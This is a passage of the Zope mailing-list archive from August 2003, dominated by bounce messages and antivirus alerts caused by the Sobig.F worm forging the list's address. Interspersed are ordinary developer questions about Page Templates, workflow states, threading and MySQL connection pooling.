19:09:08 +0400 (GST) Received: from dimail2.emirates.net.ae by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJZ00M8H5U83I@dxbrsmail1.emirates.net.ae> for mts@ims-ms-daemon (ORCPT mts@emirates.net.ae); Thu, 21 Aug 2003 19:09:07 +0400 (GST) Received: from PCKJEMI_OPPL ([62.97.227.98]) by dimail2.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJZ00KLS5UZCW@dimail2.emirates.net.ae> for mts@emirates.net.ae (ORCPT mts@emirates.net.ae); Thu, 21 Aug 2003 19:04:14 +0400 (GST) Date: Thu, 21 Aug 2003 17:06:35 +0200 From: zope@zope.org Subject: Re: Your application To: mts@emirates.net.ae Message-id: <0HJZ00KLW5V0CW@dimail2.emirates.net.ae> MIME-version: 1.0 Content-type: multipart/mixed; boundary=_NextPart_000_0C357EA7 Your message cannot be delivered to the following recipients: Recipient address: mts@ims-ms-daemon Original address: mts@emirates.net.ae Reason: Over quota -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: zope@zope.org Subject: Re: Your application Date: Thu, 21 Aug 2003 17:06:35 +0200 Size: 1325 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/5fabf182/attachment.eml From MAILER-DAEMON at relay1.tdcnorge.no Thu Aug 21 22:57:30 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 10:33:37 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308211957.h7LJvU215569@relay1.tdcnorge.no> The original message was received at Thu, 21 Aug 2003 21:57:25 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Thank you! Date: Thu, 21 Aug 2003 21:55:54 +0200 Size: 708 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/16e95e0a/attachment.eml From MAILER-DAEMON at relay1.tdcnorge.no Thu Aug 21 16:20:05 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 10:33:58 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308211320.h7LDK5216668@relay1.tdcnorge.no> The original message was received at Thu, 21 Aug 2003 15:20:00 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Thank you! Date: Thu, 21 Aug 2003 15:18:27 +0200 Size: 716 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/16bb128f/attachment.eml From MAILER-DAEMON at relay1.tdcnorge.no Wed Aug 20 18:59:03 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 10:40:23 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308201559.h7KFx3228253@relay1.tdcnorge.no> The original message was received at Wed, 20 Aug 2003 17:58:59 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Details Date: Wed, 20 Aug 2003 17:57:21 +0200 Size: 709 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/2d79effd/attachment-0001.eml From fjord at fjordimages.com Fri Aug 22 04:30:10 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 10:44:25 2003 Subject: [Zope] Re: Re: Re: My details Message-ID: <1061432852.19128.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From virus at todo.de Fri Aug 22 04:32:52 2003 From: virus at todo.de (System Anti-Virus Administrator) Date: Fri Aug 22 10:46:40 2003 Subject: [Zope] Virus found in sent message "Thank you!" Message-ID: Attention: . A Virus was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching it's destination. The Virus was reported to be: W32/Sobig.F@mm (Subject) Please update your virus scanner or contact your I.T support personnel as soon as possible as you have a virus on your system. Your message was sent with the following envelope: MAIL FROM: zope@zope.org RCPT TO: Erben@service-umweltbildung.de ... and with the following headers: From: To: Subject: Thank you! Message-ID: <200308211837.h7LIbOox097452@mailrelay2.todo.de> Date: Thu, 21 Aug 2003 20:37:20 +0200 From postmaster at mayo.edu Wed Aug 20 03:15:21 2003 From: postmaster at mayo.edu (postmaster@mayo.edu) Date: Fri Aug 22 10:47:38 2003 Subject: [Zope] Undeliverable mail Message-ID: Your message was not delivered to the following recipients: valverde.arturo@mayo.edu: Rejected by Mail Administrator - this site is not accepting attachments of this type at this time -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 590 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030820/285c3b02/attachment-0001.bin From postmaster at tv2.no Wed Aug 20 14:37:43 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Fri Aug 22 10:49:50 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. knut.ivar.skeid@nettavisen.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Re: My details Date: Wed, 20 Aug 2003 8:28:59 +0200 Size: 1834 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/657410bf/attachment-0001.eml From postmaster at tv2.no Wed Aug 20 11:52:25 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Fri Aug 22 10:50:13 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. krim@nettavisen.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: That movie Date: Wed, 20 Aug 2003 6:22:37 +0200 Size: 1818 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/625e9714/attachment-0001.eml From fjord at fjordimages.com Fri Aug 22 04:45:09 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 10:52:12 2003 Subject: [Zope] Re: Re: Thank you! Message-ID: <1061465666.30558.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From postmaster at emirates.net.ae Thu Aug 21 13:47:52 2003 From: postmaster at emirates.net.ae (Internet Mail Delivery) Date: Fri Aug 22 10:52:50 2003 Subject: [Zope] Delivery Notification: Delivery has failed Message-ID: <0HJY00CZHOFS01@dxbrsmail1.emirates.net.ae> This report relates to a message you sent with the following header fields: Return-path: Return-path: Received: from ims-ms-daemon.dxbrsmail1.emirates.net.ae by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) id <0HJY00CZEOFS01@dxbrsmail1.emirates.net.ae> (original mail from zope@zope.org); Thu, 21 Aug 2003 12:47:52 +0400 (GST) Received: from dimail3 ([213.42.1.74]) by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJY009XYOFIX1@dxbrsmail1.emirates.net.ae> for mts@ims-ms-daemon (ORCPT mts@emirates.net.ae); Thu, 21 Aug 2003 12:47:52 +0400 (GST) Received: from PCKJEMI_OPPL ([62.97.227.98]) by dimail3.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJY00BC9OF7YG@dimail3.emirates.net.ae> for mts@emirates.net.ae (ORCPT mts@emirates.net.ae); Thu, 21 Aug 2003 12:47:34 +0400 (GST) Date: Thu, 21 Aug 2003 10:46:14 +0200 From: zope@zope.org Subject: Re: Your application To: mts@emirates.net.ae Message-id: <0HJY00BCFOF8YG@dimail3.emirates.net.ae> MIME-version: 1.0 Content-type: multipart/mixed; boundary=_NextPart_000_0AD948E1 Your message cannot be delivered to the following recipients: Recipient address: mts@ims-ms-daemon Original address: mts@emirates.net.ae Reason: Over quota -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: zope@zope.org Subject: Re: Your application Date: Thu, 21 Aug 2003 10:46:14 +0200 Size: 1317 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/b2ef2d58/attachment-0001.eml From fjord at fjordimages.com Fri Aug 22 04:50:44 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 10:57:41 2003 Subject: [Zope] Re: Re: Details Message-ID: <1061509855.12862.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From sysop at qwest.net Wed Aug 20 13:11:10 2003 From: sysop at qwest.net (System Operator) Date: Fri Aug 22 11:06:57 2003 Subject: [Zope] Re: That movie In-Reply-To: <200308201711.MAA62466@mail.oss.uswest.net> References: <200308201711.MAA62466@mail.oss.uswest.net> Message-ID: <200308201711.h7KHBA7H026004@blackmagic.oss.uswest.net> *** THIS IS AN AUTOMATED RECEIPT NOTIFICATION *** ** THE RETURN ADDRESS ON THIS MESSAGE HAS BEEN SET TO PREVENT MAIL ** ** LOOPS IN THE EVENT THAT YOU ARE RUNNING SOFTWARE WHICH AUTO-REPLIES ** ** TO INBOUND MAIL. QWEST WILL NOT SEE ANY REPLY SENT TO THIS MESSAGE. ** This message is a response to your report of an Acceptable Use Policy (AUP) violation involving a Qwest customer, entitled: < Re: That movie > If you do not wish to receive this automatic response, send future reports to . "Pop-Up" Spam If you are receiving "pop-up" spam advertisements, please see the following web page for information on how to disable the Microsoft Messenger service. http://support.microsoft.com/default.aspx?scid=kb;en-us;Q330904 Thank you for reporting this incident to Qwest. We are have received your report and are investigating the situation. Once we have completed our investigation, we will take appropriate action against the offending customer account. Due to the current high volume of abuse mail we handle, this may be the only response you receive, unless we need further information to complete the investigation. If you are reporting an email abuse issue such as UBE or spam, please include the following information so that we can complete a full investigation of your report: 1) Original subject line- When you forward email, please forward it with a subject header the same as when you received it. 2) Complete headers- Most email programs only display abbreviated headers. Please check your email program's documentation for assistance in how to display the full headers. Full headers will include a "RECEIVED:" line with a set of four numbers divided by periods (ex. 123.45.67.89) We cannot complete an investigation without this information. 3) Complete message body- Please include the complete, unedited body of the message as you received it. If you are reporting unauthorized access attempts, please be sure to include logs of the incident, including the IP address of the offender, as well as the date, time and time zone when the incident occurred. ** Please note: Submissions must be in plain text format. ** ** All attachments are removed upon receipt and discarded. ** -- Qwest Internet Solutions sysop@qwest.net, abuse@qwest.net (A)cceptable (U)se (P)olicy (AUP) http://www.qwest.com/legal/usagePolicy.html From MAILER-DAEMON at emfe1.iup.edu Tue Aug 19 14:04:32 2003 From: MAILER-DAEMON at emfe1.iup.edu (MAILER-DAEMON@emfe1.iup.edu) Date: Fri Aug 22 11:08:00 2003 Subject: [Zope] Undeliverable mail: Re: Thank you! Message-ID: Failed to deliver to '' Virus(es) found. document_all.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 574 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/003b44da/attachment-0001.bin From postmaster at arnet.com.ar Fri Aug 22 02:02:56 2003 From: postmaster at arnet.com.ar (postmaster@arnet.com.ar) Date: Fri Aug 22 11:09:54 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. jgf@radar.com.ar -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 136 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/dfe8d698/attachment-0001.bin From viruswall at hausbank.de Thu Aug 21 17:29:18 2003 From: viruswall at hausbank.de (viruswall@hausbank.de) Date: Fri Aug 22 11:10:17 2003 Subject: [Zope] Virus Alert Message-ID: <20030821142918.DED4C29AA1@virus.hausbank.de> The mail message (file: your_document.pif) you sent to Henning.Klemptner@hausbank.de contains a virus. (on virus.hausbank.de) From NAVMSE-MAIL at ClientSoft.com Thu Aug 21 05:52:15 2003 From: NAVMSE-MAIL at ClientSoft.com (NAV for Microsoft Exchange-MAIL) Date: Fri Aug 22 11:11:15 2003 Subject: [Zope] Norton AntiVirus detected a virus in a message you sent. The inf ected attachment was deleted. Message-ID: <996D058234B13F48A0655947463346A401593984@mail.clientsoft.com> Recipient of the infected attachment: Bradley Williams\Inbox Subject of the message: Your details One or more attachments were deleted Attachment details.pif was Deleted for the following reasons: Virus W32.Sobig.F@mm was found. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/ms-tnef Size: 1723 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/46659df4/attachment-0001.bin From madduck at madduck.net Wed Aug 20 16:38:09 2003 From: madduck at madduck.net (martin f krafft) Date: Fri Aug 22 11:12:00 2003 Subject: [Zope] ZPT: getting the current year Message-ID: <20030820133809.GA4949@diamond.madduck.net> i am sure this is easy as hell, but as much as i tried, i did not yet arrive. please spare me the agony of listing all the things i tried, could someone just please give me a tal:define statement that stores the current year in four digit form into a variable for use in a ZPT? thanks, -- martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net@madduck invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver! if one cannot enjoy reading a book over and over again, there is no use in reading it at all. -- oscar wilde -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030820/05522ee0/attachment-0001.bin From fjord at fjordimages.com Fri Aug 22 05:14:15 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 11:12:56 2003 Subject: [Zope] Re: Re: Thank you! Message-ID: <1061501638.17055.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From NAIDHZBMAURITIUS at DHZB.de Wed Aug 20 09:58:20 2003 From: NAIDHZBMAURITIUS at DHZB.de (GroupShield for Exchange (MAURITIUS)) Date: Fri Aug 22 11:16:03 2003 Subject: [Zope] WARNUNG - GroupShield-Ticket Nr. OA381_1061362699_MAURITIUS_1 wu rde generiert Message-ID: Ausgef?hrte Aktion: Die Anlage wurde von der Nachricht isoliert und durch eine Textdatei ersetzt, die den Empf?nger ?ber die ergriffene Ma?nahme informiert. An: fleck@dhzb.de Von: zope@zope.org Gesendet: -1264886272,29583081 Betreff: Re: Approved Einzelheiten zur Anlage: Anlagenname: your_document.pif Datei: your_document.pif Infiziert? Ja Repariert? Nein Blockiert? Nein Gel?scht? Nein Virusname: W32/Sobig.f@MM -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/ms-tnef Size: 1912 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030820/217c5761/attachment-0001.bin From MAILER-DAEMON at cisco.com Thu Aug 21 13:19:44 2003 From: MAILER-DAEMON at cisco.com (Mail Delivery Subsystem) Date: Fri Aug 22 11:17:45 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308210219.h7L2JigO002222@proxy6.cisco.com> The original message was received at Thu, 21 Aug 2003 12:19:37 +1000 (EST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject) (expanded from: ) ----- Transcript of session follows ----- 451 4.4.1 reply: read error from rtp-core-2.cisco.com. ... while talking to sj-core-2.cisco.com.: >>> DATA <<< 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Wicked screensaver Date: Thu, 21 Aug 2003 4:21:44 +0200 Size: 706 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/748d7e29/attachment-0001.eml From allison at sumeru.stanford.EDU Thu Aug 21 08:36:32 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Fri Aug 22 11:19:54 2003 Subject: [Zope] Son of ZSyncer In-Reply-To: <20030728140844.GA1046@slinkp.com> Message-ID: Paul, I've made come progress on a 'son of zsyncer' product and have a pre-pre-alpha Product which I need to use as a tool ASAP. I have encountered some difficulties which I hope you can assist me in resolving. My new product re-uses some of ZSyncer, particularly the basic authentication code and some of the transport code. It seems to work fine between sites which us basic authentication only but gets confused when the sites use cookie authentication. ZSyncer authenticates and transfers over links that my "son of ZSyncer" product fails on. The transport mechanism reports a 500 status to the sender; the receiver reports a 401 error (I think) and does so as "Anonymous" rather than the user under whose guise the transfer is being performed. If you have the time and interest, I'd be happy to share the code even in it's currently hacked-up state. From saravanan_anna at rediffmail.com Fri Aug 22 05:26:00 2003 From: saravanan_anna at rediffmail.com (saravanan annamalai) Date: Fri Aug 22 11:21:00 2003 Subject: [Zope] How to get (all) workflow states of default work flow? Message-ID: <20030821154543.25452.qmail@webmail30.rediffmail.com> Hi, I want to get (all) workflow states from my default work flow. I have idea of getting the current state. ie) review_state by here.portal_workflow.getInfoFor(here,'review_state'). But this is not my requirement. what i want is list of all states of my work flow.... All suggestions are welcome... Bye from sara A.Saravanan, WundtStrasse 7,Zi:9L1, Dresden - 01217 Germany Home: 0351-7997546 Mobile: 01797395091 ___________________________________________________ Meet your old school or college friends from 1 Million + database... Click here to reunite www.batchmates.com/rediff.asp From jziniti at speakeasy.org Wed Aug 20 15:28:32 2003 From: jziniti at speakeasy.org (John Ziniti) Date: Fri Aug 22 11:30:29 2003 Subject: [Zope] odd slowness in ZMI [Revisited] Message-ID: <3F43BDD0.1030809@speakeasy.org> I would like to revisit an issue raised on this list about a year ago by Philip Freeman: http://mail.zope.org/pipermail/zope/2002-September/123739.html does a nice job of explaining the problem. I, too, am having this problem on RedHat 8.0, Zope-2.4.3, ZEO-1.0. Basically, requests for management pages time out, especially manage_menu (though manage_main usually comes back very quickly). Any thoughts are welcomed, John Ziniti From antivirus at telemed.de Fri Aug 22 05:47:58 2003 From: antivirus at telemed.de (telemed Anti-Virus-System) Date: Fri Aug 22 11:32:41 2003 Subject: [Zope] Virus in verschickter Nachricht gefunden "Re: Details" Message-ID: <20030821151322.4805.qmail@slxtm1.sb.telemed.de> In einer von Ihnen versandten E-Mail wurde vom telemed-Virenscanner ein Virus gefunden. Der telemed-Virenscanner hat die Versendung der Nachricht an den Empfaenger abgebrochen. Der Virus scheint folgenden Typs zu sein: the W32/Sobig.f@MM virus !!! Ihre Nachricht wurde mit folgendem Absender und Empfaenger verschickt: MAIL FROM: zope@zope.org RCPT TO: info@compudent.de Bitte setzen Sie sich gegebenenfalls mit dem Empfaenger der o.g. E-Mail in Verbindung. From MAILER-DAEMON at relay1.tdcnorge.no Fri Aug 22 04:58:04 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 11:34:06 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308220158.h7M1w4215797@relay1.tdcnorge.no> The original message was received at Fri, 22 Aug 2003 03:58:04 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: That movie Date: Fri, 22 Aug 2003 3:56:34 +0200 Size: 719 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/aa877d81/attachment-0001.eml From MAILER-DAEMON at bk2.webmaillogin.com Thu Aug 21 20:05:09 2003 From: MAILER-DAEMON at bk2.webmaillogin.com (MAILER-DAEMON@bk2.webmaillogin.com) Date: Fri Aug 22 11:38:35 2003 Subject: [Zope] Undeliverable mail: Re: Approved Message-ID: Failed to deliver to '' LOCAL module(account a@punk.org) reports: account is full (quota exceeded) -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 815 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/6979c137/attachment-0001.bin From autoresponder at web.de Thu Aug 21 20:18:42 2003 From: autoresponder at web.de (autoresponder@web.de) Date: Fri Aug 22 11:51:56 2003 Subject: [Zope] Ihre Mail an magnum-howie@web.de Message-ID: Besten Dank für die E-mail! Ich bin zur Zeit nicht online, werde jedoch ggf. so schnell wie möglich antworten. Gruß, Howie. ________________________________________________________________________ 1.000.000 EUR gewinnen - kostenlos tippen - http://millionenklick.web.de IhrName@web.de, 12MB Speicher, Verschluesselung - http://freemail.web.de . From volker.wend at efgbsh.de Wed Aug 20 22:35:55 2003 From: volker.wend at efgbsh.de (volker.wend@efgbsh.de) Date: Fri Aug 22 11:52:16 2003 Subject: [Zope] Cleaning HTML for use as ZPT Message-ID: Just to clarify: Robert Jean is trying to use my IE Addon. It hooks into the ZMI for PageTemplates and provides a Visual Editor using the Microsoft Richtext Edit Control. In my opinion he has two options: clean up the HTML with TIDY or use a different Object to store the HTML Code and adjust the Edit Control. I would probably choose the later but it depends if needs the TAL Macros.... Regards, Volker Wend -----Original Message----- From: Paul Winkler [mailto:pw_lists@slinkp.com] Sent: Dienstag, 19. August 2003 18:25 To: zope@zope.org Subject: Re: [Zope] Cleaning HTML for use as ZPT On Tue, Aug 19, 2003 at 09:19:18AM -0700, Robert Jean wrote: > Dennis, > > Thanks for your response. > > I don't understand what you mean by "use TAL and/or > DTML to invoke it". Invoke what? maybe he meant import the old stuff as a File or a DTML method or some such, then in another ZPT do a > The old malformed HTML has to be rendered by TAL, > because after being imported, it is modified and > contains a few TAL macros. ah, ok. If it's really necessary to do this on the server side, I'd make an upload form, have its target be an an External Method that does roughly this: - pipe the file data to and from Tidy, probably using os.popen2(). (there's an option for Tidy to create valid XHTML, use that.) - create a ZPT from the cleaned up output. (probably the id to use is one of the parameters passed from your upload form...) But, if you are doing a bunch at once, easier would be to just run Tidy on the filesystem and then upload the results to zope... -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE POUNCING PADDLE! (random hero from isometric.spaceninja.com) _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From fjord at fjordimages.com Fri Aug 22 06:25:58 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 12:00:13 2003 Subject: [Zope] Re: Re: Details Message-ID: <1061427569.13159.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From andrew at logicalprogression.net Thu Aug 21 14:47:36 2003 From: andrew at logicalprogression.net (Andrew Veitch) Date: Fri Aug 22 12:02:24 2003 Subject: [Zope] Threading gotchas? Message-ID: I'm just about to do some threading in a Zope application. At the moment it relies on an external cron job or Xron to call a method reasonably regularly but I would like to use a Python thread instead. I'm not particularly bothered if the thread is called slightly late. I'm just wondering if there are any particular gotchas? Or will it work just as it does in ordinary Python? Andrew From allison at sumeru.stanford.EDU Thu Aug 21 15:01:50 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Fri Aug 22 12:05:16 2003 Subject: [Zope] Z SQL Method, ZMySQLDA, connection pooling, threads, life, the universe, and everything Message-ID: I'm about to add connection pooling for MySQL. This necessarily interacts with threading and persistance and other arcane arts. Advice and/or pointers to hidden gotchas would be much appreciated. Mu understanding: Zope runs multiple threads (up to 7 without recompiling -- it's a ZODB connection limit) using the underlying Python threading model. The scheduling unit for threads is a single HTTP transaction. (IS THIS RIGHT?) Threads are scheduled out of the medusa asyncore by polling select. Python local data is, of course, automatically thread-safe. Global data is not and is shared across threads. Persistence is mostly orthogonal to the thread issue. When created, each ZSQL method searches for and binds to one particular RDBMS adaptor. For my pooled connection approach, there'd be only one ZMYSQLDA instance to which all ZSQL Methods would bind. The ZSQL Method would find the connector by acquisiton (as it does currently) and allow binding to one or another of the predefined virtual connections. Most of the changes look simple. The ZMySQLDA mechanism will need some significant changes, some of which need to be thread safe. ZMySQLDA and MySQLdb are thread-safe at level one, that is, threads may share the modules but **not the connections**. On startup, there are no actual database connections only virtual connections. Connections are created (up to a max number) as needed and retired (that is, closed) when they are no longer needed. If the virtual connections are tagged with the Zope thread (how does one identify which thread) virtual connections become thread safe (since a different actual connection is allocated for each executing thread)--a feature which should give a performance boost when certain connections are hot spots. Allocation and deallocation of actual connections will need to be under the control of a lock on some shared data structure. A simple mangement strategy can be used provided database transactions complete before the thread is rescheduled. Because this is being patched into a Zope Product that is a heavy reuser of Zope, I've been pondering the best way to fit this feature transparently (or nearly transparently) into the existing code. Given the system structure, it seems to me that the shared data strutures and methods can be maintained as class variables (that is, shared accross instances) while each instance has its own (lightweight) state. Is there any better system structure which will meld neatly into the Zope structure. -dra From Asle.Bentzen at tv2.no Wed Aug 20 11:20:00 2003 From: Asle.Bentzen at tv2.no (Asle Bentzen) Date: Fri Aug 22 12:08:20 2003 Subject: [Zope] =?windows-1252?q?Automatisk_svar_n=E5r_du_er_borte_fra_ko?= =?windows-1252?q?ntoret=3A_Details?= Message-ID: From postmaster at tv2.no Wed Aug 20 14:59:51 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Fri Aug 22 13:15:59 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. odd.harald.hauge@nettavisen.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Your application Date: Wed, 20 Aug 2003 7:31:03 +0200 Size: 1841 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/1d763564/attachment-0001.eml From postmaster at tv2.no Wed Aug 20 23:07:30 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Fri Aug 22 13:16:23 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. knut.ivar.skeid@nettavisen.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Your details Date: Wed, 20 Aug 2003 0:12:37 +0200 Size: 1818 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/fe8c1419/attachment-0001.eml From postmaster at tv2.no Thu Aug 21 06:32:33 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Fri Aug 22 13:16:45 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. odd.harald.hauge@nettavisen.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Details Date: Tue, 19 Aug 2003 20:26:18 +0200 Size: 1831 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/b1b1e5f8/attachment-0001.eml From MAILER-DAEMON at aol.com Fri Aug 22 03:09:18 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 13:21:56 2003 Subject: [Zope] Returned mail: User unknown Message-ID: <200308220609.CAD10054@rly-xh01.mx.aol.com> The original message was received at Fri, 22 Aug 2003 02:08:44 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xh02.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 657 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/0b11fb85/attachment-0001.bin From saravanan_anna at rediffmail.com Fri Aug 22 07:20:28 2003 From: saravanan_anna at rediffmail.com (saravanan annamalai) Date: Fri Aug 22 13:45:20 2003 Subject: [Zope] How to get all workflow states from a workflow? Message-ID: <20030821163111.13669.qmail@webmail9.rediffmail.com> Hi All, I want to get the list of all workflow states from a work flow. I know the way of getting the current review_state of an item. here.portal_workflow.getInfoFor(here,'review_state'). what I want is to get the list of all states... Urgent help needed bye from sara 